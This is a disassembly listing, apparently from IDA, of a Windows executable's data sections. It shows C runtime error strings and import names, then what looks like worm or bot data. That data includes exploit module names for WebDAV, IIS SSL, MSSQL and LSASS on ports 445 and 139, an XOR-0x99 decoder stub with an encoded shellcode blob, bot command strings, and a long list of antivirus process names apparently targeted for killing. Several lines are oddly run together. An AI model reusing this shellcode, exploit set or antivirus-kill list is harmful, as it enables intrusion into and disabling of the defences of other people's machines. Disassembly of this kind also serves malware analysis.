aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_42CF54o
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_419E4A+12Co
					; sub_41C9FD+134o
		align 4
asc_4283A8	db 0Ah			; DATA XREF: sub_419E4A+110o
					; sub_41C9FD+101o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_419E4A+FEo
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_419E4A+CAo
					; sub_41C9FD+D1o
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_419E4A+89o
					; sub_41C9FD+88o
		align 8
stru_4283E8	_msEH <0FFFFFFFFh, 0, offset sub_41A9E5> ; DATA	XREF: sub_41A961+2o
		align 8
stru_4283F8	_msEH <0FFFFFFFFh, 0, offset sub_41ABA8> ; DATA	XREF: sub_41AB01+2o
		align 8
stru_428408	_msEH <0FFFFFFFFh, offset loc_41AFDA, offset loc_41AFDE>
					; DATA XREF: sub_41AF01+2o
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:0042D14Co
aMmDdYy		db 'MM/dd/yy',0         ; DATA XREF: .data:0042D148o
		align 4
aDecember	db 'December',0         ; DATA XREF: .data:0042D13Co
		align 10h
aNovember	db 'November',0         ; DATA XREF: .data:0042D138o
		align 4
aOctober	db 'October',0          ; DATA XREF: .data:0042D134o
aSeptember	db 'September',0        ; DATA XREF: .data:0042D130o
		align 10h
aAugust		db 'August',0           ; DATA XREF: .data:0042D12Co
		align 4
aJuly		db 'July',0             ; DATA XREF: .data:0042D128o
		align 10h
aJune		db 'June',0             ; DATA XREF: .data:0042D124o
		align 4
aApril		db 'April',0            ; DATA XREF: .data:0042D11Co
		align 10h
aMarch		db 'March',0            ; DATA XREF: .data:0042D118o
		align 4
aFebruary	db 'February',0         ; DATA XREF: .data:0042D114o
		align 4
aJanuary	db 'January',0          ; DATA XREF: .data:0042D110o
aDec		db 'Dec',0              ; DATA XREF: .data:0042D10Co
aNov		db 'Nov',0              ; DATA XREF: .data:0042D108o
aOct		db 'Oct',0              ; DATA XREF: .data:0042D104o
aSep		db 'Sep',0              ; DATA XREF: .data:0042D100o
aAug		db 'Aug',0              ; DATA XREF: .data:0042D0FCo
aJul		db 'Jul',0              ; DATA XREF: .data:0042D0F8o
aJun		db 'Jun',0              ; DATA XREF: .data:0042D0F4o
aMay		db 'May',0              ; DATA XREF: .data:0042D0F0o
					; .data:0042D120o
aApr		db 'Apr',0              ; DATA XREF: .data:0042D0ECo
aMar		db 'Mar',0              ; DATA XREF: .data:0042D0E8o
aFeb		db 'Feb',0              ; DATA XREF: .data:0042D0E4o
aJan		db 'Jan',0              ; DATA XREF: .data:0042D0E0o
aSaturday	db 'Saturday',0         ; DATA XREF: .data:0042D0DCo
		align 4
aFriday		db 'Friday',0           ; DATA XREF: .data:0042D0D8o
		align 10h
aThursday	db 'Thursday',0         ; DATA XREF: .data:0042D0D4o
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: .data:0042D0D0o
		align 4
aTuesday	db 'Tuesday',0          ; DATA XREF: .data:0042D0CCo
aMonday		db 'Monday',0           ; DATA XREF: .data:0042D0C8o
		align 4
aSunday		db 'Sunday',0           ; DATA XREF: .data:0042D0C4o
		align 10h
aSat		db 'Sat',0              ; DATA XREF: .data:0042D0C0o
aFri		db 'Fri',0              ; DATA XREF: .data:0042D0BCo
aThu		db 'Thu',0              ; DATA XREF: .data:0042D0B8o
aWed		db 'Wed',0              ; DATA XREF: .data:0042D0B4o
aTue		db 'Tue',0              ; DATA XREF: .data:0042D0B0o
aMon		db 'Mon',0              ; DATA XREF: .data:0042D0ACo
aSun		db 'Sun',0              ; DATA XREF: .data:off_42D0A8o
		align 10h
stru_428530	_msEH <0FFFFFFFFh, 0, offset sub_41BA2B> ; DATA	XREF: sub_41B98E+2o
		align 10h
stru_428540	_msEH <0FFFFFFFFh, 0, offset sub_41BADC> ; DATA	XREF: sub_41665F+53EDo
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_41BBD8+2Do
		align 8
stru_428578	_msEH <0FFFFFFFFh, offset loc_41BC35, offset loc_41BC43>
					; DATA XREF: sub_41BBD8+2o
		align 8
stru_428588	_msEH <0FFFFFFFFh, 0, offset sub_41C2D9> ; DATA	XREF: sub_41C294+2o
dword_428594	dd 676F7250h, 3A6D6172h, 20haABufferOverrun	db 'A buffer overrun has been detected which has corrupted the progra'
					; DATA XREF: sub_41C9FD+62o
		db 'm',27h,'s',0Ah
		db 'internal state.  The program cannot safely continue execution and'
		db ' must',0Ah
		db 'now be terminated.',0Ah,0
aBufferOverrunD	db 'Buffer overrun detected!',0 ; DATA XREF: sub_41C9FD:loc_41CA5Ao
		align 10h
aASecurityError	db 'A security error of unknown cause has been detected which has',0Ah
					; DATA XREF: sub_41C9FD+4Fo
		db 'corrupted the program',27h,'s internal state.  The program cannot sa'
		db 'fely',0Ah
		db 'continue execution and must now be terminated.',0Ah,0
		align 4
aUnknownSecurit	db 'Unknown security failure detected!',0 ; DATA XREF: sub_41C9FD+4Ao
		align 4
stru_428738	_msEH <0FFFFFFFFh, offset loc_41CA38, offset loc_41CA3C>
					; DATA XREF: sub_41C9FD+5o
		align 8
stru_428748	_msEH <0FFFFFFFFh, offset loc_41CC65, offset loc_41CC69>
					; DATA XREF: sub_41CB90+2o
		align 8
stru_428758	_msEH <0FFFFFFFFh, 0, offset sub_41CE97> ; DATA	XREF: sub_41CE2D+2o
a_nextafter	db '_nextafter',0
		align 10h
a_logb		db '_logb',0
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aFabs		db 'fabs',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: sub_41D75B+73o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: sub_41D75B+62o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41D75B+47o
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41D75B+3Fo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41D75B+2Eo
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41E0A1:loc_41E190o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41E0A1+D2o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_41E0A1+C1o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41E0A1+A7o
		align 10h
stru_4288C0	_msEH <0FFFFFFFFh, 0, offset sub_41E496> ; DATA	XREF: sub_41E363+2o
		align 10h
dword_4288D0	dd 2 dup(0)						; sub_419750:loc_419763o
dword_4288D8	dd 0							; sub_419794:loc_4197A7o
		dd 0FFFFFFFFh, 41E8ACh
dword_4288E4	dd 19930520h, 1, 4288DCh, 4 dup(0)		dd 2893Ch, 2 dup(0)
		dd 2901Ah, 1F000h, 28B04h, 2 dup(0)
		dd 29028h, 1F1C8h, 5 dup(0)
		dd 7C802442h, 7C80929Ch, 7C910331h, 7C810637h, 7C80B4CFh
		dd 7C80C058h, 7C9010EDh, 7C901005h, 7C80B829h, 7C91188Ah
		dd 7C80A7D4h, 7C81CDDAh, 7C802367h, 7C809B47h, 7C810D87h
		dd 7C801A24h, 7C814EEAh, 7C80EDD7h, 7C80E7ECh, 7C80E866h
		dd 7C834EB1h, 7C8137D9h, 7C80180Eh, 7C810B8Eh, 7C810A77h
		dd 7C83632Dh, 7C8361EEh, 7C81153Ch, 7C801D77h, 7C80ADA0h
		dd 7C80B6A1h, 7C82F7A0h, 7C80FE82h, 7C80FF19h, 7C80B974h
		dd 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h, 7C8329D9h
		dd 7C812782h, 7C835DCAh, 7C809BF8h, 7C80A0D4h, 7C8216A4h
		dd 7C80DDF5h, 7C831EABh, 7C801E16h, 7C80BAA1h, 7C8309E1h
		dd 7C81CE03h, 7C835E8Fh, 7C809920h, 7C8286EEh, 7C802520h
		dd 7C80E93Fh, 7C81AE17h, 7C85F90Fh, 7C80DDFEh, 7C81E0C7h
		dd 7C81B58Bh, 7C80D262h, 7C812ADEh, 7C830B14h, 7C873A31h
		dd 7C80A05Dh, 7C8310F2h, 7C832044h, 7C812A09h, 7C9109EDh
		dd 7C80BCCFh, 7C809E01h, 7C84467Dh, 7C80A427h, 7C809EF1h
		dd 7C812641h, 7C81DC03h, 7C91043Dh, 7C9179FDh, 7C9105D4h
		dd 7C8017E5h, 7C937A40h, 7C801EEEh, 7C812F1Dh, 7C8136D7h
		dd 7C910340h, 7C809728h, 7C809BC5h, 7C809740h, 7C812D9Fh
		dd 7C810EF8h, 7C812BB6h, 7C809AE4h, 7C809A51h, 7C809E79h
		dd 7C838DE8h, 7C80CCA8h, 7C809915h, 7C8127A7h, 7C812E76h
		dd 7C812F39h, 7C862E2Ah, 7C81DF77h, 7C81CF5Bh, 7C814AE7h
		dd 7C812F08h, 7C80CC97h, 7C810E51h, 7C801AD0h, 7C812D56h
		dd 7C80B9D1h, 7C838A0Ch, 7C80A490h, 0
		dd 80000015h, 8000000Ah, 80000002h, 8000000Dh, 80000012h
		dd 80000097h, 80000001h, 80000010h, 80000013h, 80000073h
		dd 80000017h, 8000000Bh, 80000004h, 80000003h, 80000074h
		dd 80000009h, 0
		db  29h	; )
		db 3, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db 0BEh	; 
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 10h
		db  5Ah	; Z
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 10h
aE_0		db 'e',0
aCreatethread	db 'CreateThread',0
		align 10h
		db  65h	; e
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
aM_1		db '',0
aExitthread	db 'ExitThread',0
		align 4
		db  2Dh	; -
		db 2, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 4
		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		db    3
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSectionAndSpinCount',0
aV		db 'v',0
aDeletecritical	db 'DeleteCriticalSection',0
		db  5Ch	; \
		db 1, 47h, 65h
aTlocaltime	db 'tLocalTime',0
		align 4
		db '',0
aExitprocess	db 'ExitProcess',0
		db '\',0
aCreateprocessa	db 'CreateProcessA',0
		align 4
		db ',',0
aClosehandle	db 'CloseHandle',0
		dw 376h
aWritefile	db 'WriteFile',0
aJ_0		db 'J',0
aCreatefilea	db 'CreateFileA',0
		db 0A6h	; 
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		db '',0
aFindclose	db 'FindClose',0
		db '',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 2
		db '',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		db '',0
aFindnextfilea	db 'FindNextFileA',0
		db '',0
aFindfirstfilea	db 'FindFirstFileA',0
		db 0, 90h, 2
aReadfile_0	db 'ReadFile',0
		align 2
		dw 2F1h
aSetfilepointer	db 'SetFilePointer',0
		align 10h
		dd 6547014Dh, 6C694674h, 7A695365h, 1BF0065h, 54746547h
		dd 46656D69h, 616D726Fh, 4174h,	65470133h, 74614474h, 726F4665h
		dd 4174616Dh, 1480000h
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		db  2Eh	; .
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db  89h	; 
		db 1, 47h, 65h
aTprocaddress	db 'tProcAddress',0
		align 2
		dw 167h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
aR_0		db '',0
aFormatmessagea	db 'FormatMessageA',0
		align 10h
		db 0E9h	; 
		db 1, 47h, 6Ch
aObalunlock	db 'obalUnlock',0
		align 10h
		db 0E2h	; 
		db 1, 47h, 6Ch
aOballock	db 'obalLock',0
		align 2
		dw 345h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db  44h	; D
		db 2, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
aK_0		db 'K',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 2F5h
aSetfiletime	db 'SetFileTime',0
		dd 6547014Fh, 6C694674h, 6D695465h, 0AE0065h
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		dw 2EFh
aSetfileattribu	db 'SetFileAttributesA',0
		align 4
		db 0B6h	; 
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		align 4
		db  51h	; Q
		db 2, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		dw 369h
aWidechartomult	db 'WideCharToMultiByte',0
		db    1
		db 1, 47h, 65h
aTcomputernamea	db 'tComputerNameA',0
		align 4
		db  2Fh	; /
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcess',0
		db 'x',0
aDeletefilea	db 'DeleteFileA',0
		dw 331h
aTerminateproce	db 'TerminateProcess',0
		align 2
		dw 395h
aLstrcmpia	db 'lstrcmpiA',0
		dw 261h
aOpenprocess	db 'OpenProcess',0
		dd 65540332h, 6E696D72h, 54657461h, 61657268h, 24A0064h
		dd 65766F4Dh, 656C6946h, 1300041h
aGetcurrentproc	db 'GetCurrentProcessId',0
		db ':',0
aCopyfilea	db 'CopyFileA',0
		db  65h	; e
		db 3, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
aW		db 'W',0
aCreatemutexa	db 'CreateMutexA',0
		align 2
		dw 144h
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 10h
		db  6Ch	; l
		db 2, 50h, 65h
aEknamedpipe	db 'ekNamedPipe',0
aI_1		db '',0
aDuplicatehandl	db 'DuplicateHandle',0
		db '[',0
aCreatepipe	db 'CreatePipe',0
		align 10h
		db 0C8h	; 
		db 2, 53h, 65h
aTconsolectrlha	db 'tConsoleCtrlHandler',0
		dd 6547015Dh, 636F4C74h, 49656C61h, 416F666Eh, 1C80000h
		dd 56746547h, 69737265h, 78456E6Fh, 1610041h, 4C746547h
		dd 6369676Fh, 72446C61h, 73657669h, 0EA0000h
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 2
		dw 363h
aWaitformultipl	db 'WaitForMultipleObjects',0
		align 4
		db 0E3h	; 
		db 1, 47h, 6Ch
aObalmemorystat	db 'obalMemoryStatus',0
		align 2
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 4
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 4
		dd 654801F5h, 72467061h, 6565h,	654801F9h, 65527061h, 6F6C6C41h
		dd 1EF0063h, 70616548h,	6F6C6C41h, 1AC0063h
aGetsystemtimea	db 'GetSystemTimeAsFileTime',0
		dd 745202B1h, 776E556Ch, 646E69h, 6547019Ch, 61745374h
		dd 70757472h, 6F666E49h, 0FD0041h, 43746547h, 616D6D6Fh
		dd 694C646Eh, 41656Eh, 6C540337h, 65724673h, 2FE0065h
		dd 4C746553h, 45747361h, 726F7272h, 1320000h
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		db  39h	; 9
		db 3, 54h, 6Ch
aSsetvalue	db 'sSetValue',0
		dw 338h
aTlsgetvalue	db 'TlsGetValue',0
		db  36h	; 6
		db 3, 54h, 6Ch
aSalloc		db 'sAlloc',0
		align 4
		db 0F3h	; 
		db 1, 48h, 65h
aApdestroy	db 'apDestroy',0
		dw 1F1h
aHeapcreate	db 'HeapCreate',0
		align 4
		db  58h	; X
		db 3, 56h, 69h
aRtualfree	db 'rtualFree',0
		dw 355h
aVirtualalloc	db 'VirtualAlloc',0
		align 2
		dw 214h
aIsbadwriteptr	db 'IsBadWritePtr',0
		dw 220h
aLcmapstringa	db 'LCMapStringA',0
		align 2
		dw 221h
aLcmapstringw	db 'LCMapStringW',0
		align 2
aI_2		db '',0
aGetacp		db 'GetACP',0
		align 10h
		db  7Ch	; |
		db 1, 47h, 65h
aToemcp		db 'tOEMCP',0
		align 4
		db 0F1h	; 
		align 2
aGetcpinfo	db 'GetCPInfo',0
		db  9Eh	; 
		db 1, 47h, 65h
aTstdhandle	db 'tStdHandle',0
		align 4
		db  42h	; B
		db 3, 55h, 6Eh
aHandledexcepti	db 'handledExceptionFilter',0
		align 4
aU_0		db '',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		dw 13Fh
aGetenvironment	db 'GetEnvironmentStrings',0
aF		db '',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		db  41h	; A
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStringsW',0
		align 2
		dw 2FAh
aSethandlecount	db 'SetHandleCount',0
		align 4
		db  50h	; P
		db 1, 47h, 65h
aTfiletype	db 'tFileType',0
		dw 35Bh
aVirtualprotect	db 'VirtualProtect',0
		align 4
		db 0A8h	; 
		db 1, 47h, 65h
aTsysteminfo	db 'tSystemInfo',0
		db  5Dh	; ]
		db 3, 56h, 69h
aRtualquery	db 'rtualQuery',0
		align 4
		db  9Fh	; 
		db 1, 47h, 65h
aTstringtypea	db 'tStringTypeA',0
		align 2
		dw 1A2h
aGetstringtypew	db 'GetStringTypeW',0
		align 10h
		db  0Ch
		db 3, 53h, 65h
aTstdhandle_0	db 'tStdHandle',0
		align 10h
		db '',0
aFlushfilebuffe	db 'FlushFileBuffers',0
		align 4
		db    2
		db 2, 49h, 6Eh
aItializecrit_0	db 'itializeCriticalSection',0
		db  7Eh	; ~
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceCounter',0
		dw 31Dh
aSetunhandledex	db 'SetUnhandledExceptionFilter',0
		dd 73490211h, 52646142h, 50646165h, 7274h, 7349020Eh, 43646142h
		dd 5065646Fh, 7274h, 654801FBh,	69537061h, 657Ah, 61520283h
		dd 45657369h, 70656378h, 6E6F6974h, 2E80000h, 45746553h
		dd 664F646Eh, 656C6946h
		db 2 dup(0)
_rdata		ends

; Section 3. (virtual address 0002A000)
; Virtual size			: 00051678 ( 333432.)
; Section size in file		: 00051678 ( 333432.)
; Offset to raw	data for section: 0002A000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 42A000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_42A000	dd 0				dd offset sub_41C9A7
dword_42A008	dd 0		dword_42A00C	dd 0				dd offset sub_4165B6
		dd offset sub_4195AD
		dd offset sub_4196DE
		dd offset sub_419AA1
		dd offset sub_41CDA5
dword_42A024	dd 0		dword_42A028	dd 0				dd offset sub_41665F
dword_42A030	dd 0		dword_42A034	dd 0							; DATA XREF: sub_414460:loc_4144EEo
		dd offset sub_41CDB8
dword_42A03C	dd 0		aWebdav		db 'webdav',0           ; DATA XREF: sub_40169B+155o
		align 4
		db 2 dup(0)
aWebdav_0	db 'WebDav',0           ; DATA XREF: sub_411235+2B2o
					; .text:004119CDo ...
		align 4
		dd 5 dup(0)
dword_42A068	dd 50h							; sub_4078FA+3A60r ...
off_42A06C	dd offset sub_411235	; DATA XREF: sub_40169B+1F8r
dword_42A070	dd 0							; sub_411235+30Er ...
dword_42A074	dd 1		dword_42A078	dd 0		aIis5ssl	db 'iis5ssl',0
		dd 49490000h, 53533553h, 4Ch, 5	dup(0)
		dd 1BBh, 411749h, 0
		dd 1, 0
aMssql		db 'mssql',0
		align 10h
		dd 534D0000h, 4C5153h, 6 dup(0)
		dd 599h, 4127C5h, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 411F7Eh, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	41214Ch, 0
		dd 2 dup(1), 0Fh dup(0)
aLsass_445_1	db 'lsass_445',0
byte_42A1B2	db 1			; DATA XREF: sub_4078FA:loc_40B2D2r
					; sub_4078FA+39E4o
aLsass_139	db 'lsass_139',0
		db 1, 2	dup(0)
		dd 4 dup(0)
; ---------------------------------------------------------------------------


loc_42A1D0:				; DATA XREF: .text:0041185Do
		jmp	short loc_42A1E2

; =============== S U B	R O U T	I N E =======================================



sub_42A1D2	proc near		; CODE XREF: sub_42A1D2:loc_42A1E2p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_42A1DA:				; CODE XREF: sub_42A1D2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42A1DA
		jmp	short loc_42A1E7
; ---------------------------------------------------------------------------


loc_42A1E2:				; CODE XREF: .data:loc_42A1D0j
		call	sub_42A1D2


loc_42A1E7:				; CODE XREF: sub_42A1D2+Ej
		jo	short near ptr dword_42A164+1Eh
		cwde
		cdq
		cdq
		retn
sub_42A1D2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
dword_42A350	dd 80000002h	off_42A354	dd offset aSoftwareMicr_0 ; DATA XREF: sub_401E73+1Er
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000002h, 42AF88h, 80000001h, 42AFC0h
dword_42A368	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42A3B4	dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------


loc_42A3D0:				; DATA XREF: sub_4028A8+10Fo
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42A3E4	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4028A8+138o
off_42A3F8	dd offset aAdd		; DATA XREF: sub_40668A+59r
					; sub_406702+4Ar ...
					; "Add"
off_42A3FC	dd offset aAdded	; DATA XREF: sub_40668A+2Dr
					; sub_406702+7Cr ...
					; "Added"
dword_42A400	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 4211E0h, 4211D8h,	2, 4211CCh, 4211C0h, 3,	0
dword_42A450	dd 7530h			align 8
off_42A458	dd offset aAckwin32_exe	; DATA XREF: sub_4070E8:loc_4071AFr
					; "ACKWIN32.EXE"
		dd offset aAdaware_exe	; "ADAWARE.EXE"
		dd offset aAdvxdwin_exe	; "ADVXDWIN.EXE"
		dd offset aAgentsvr_exe	; "AGENTSVR.EXE"
		dd offset aAgentw_exe	; "AGENTW.EXE"
		dd offset aAlertsvc_exe	; "ALERTSVC.EXE"
		dd offset aAlevir_exe	; "ALEVIR.EXE"
		dd offset aAlogserv_exe	; "ALOGSERV.EXE"
		dd offset aAmon9x_exe	; "AMON9X.EXE"
		dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE"
		dd offset aAntivirus_exe ; "ANTIVIRUS.EXE"
		dd offset aAnts_exe	; "ANTS.EXE"
		dd offset aApimonitor_exe ; "APIMONITOR.EXE"
		dd offset aAplica32_exe	; "APLICA32.EXE"
		dd offset aApvxdwin_exe	; "APVXDWIN.EXE"
		dd offset aArr_exe	; "ARR.EXE"
		dd offset aAtcon_exe	; "ATCON.EXE"
		dd offset aAtguard_exe	; "ATGUARD.EXE"
		dd offset aAtro55en_exe	; "ATRO55EN.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtwatch_exe	; "ATWATCH.EXE"
		dd offset aAu_exe	; "AU.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAvconsol_exe	; "AVCONSOL.EXE"
		dd offset aAve32_exe	; "AVE32.EXE"
		dd offset aAvgcc32_exe	; "AVGCC32.EXE"
		dd offset aAvgctrl_exe	; "AVGCTRL.EXE"
		dd offset aAvgnt_exe	; "AVGNT.EXE"
		dd offset aAvgserv_exe	; "AVGSERV.EXE"
		dd offset aAvgserv9_exe	; "AVGSERV9.EXE"
		dd offset aAvguard_exe	; "AVGUARD.EXE"
		dd offset aAvgw_exe	; "AVGW.EXE"
		dd offset aAvkpop_exe	; "AVKPOP.EXE"
		dd offset aAvkserv_exe	; "AVKSERV.EXE"
		dd offset aAvkservice_exe ; "AVKSERVICE.EXE"
		dd offset aAvkwctl9_exe	; "AVKWCTl9.EXE"
		dd offset aAvltmain_exe	; "AVLTMAIN.EXE"
		dd offset aAvnt_exe	; "AVNT.EXE"
		dd offset aAvp_exe	; "AVP.EXE"
		dd offset aAvp32_exe	; "AVP32.EXE"
		dd offset aAvpcc_exe	; "AVPCC.EXE"
		dd offset aAvpdos32_exe	; "AVPDOS32.EXE"
		dd offset aAvpm_exe	; "AVPM.EXE"
		dd offset aAvptc32_exe	; "AVPTC32.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvsched32_exe ; "AVSCHED32.EXE"
		dd offset aAvsynmgr_exe	; "AVSYNMGR.EXE"
		dd offset aAvwin95_exe	; "AVWIN95.EXE"
		dd offset aAvwinnt_exe	; "AVWINNT.EXE"
		dd offset aAvwupd_exe	; "AVWUPD.EXE"
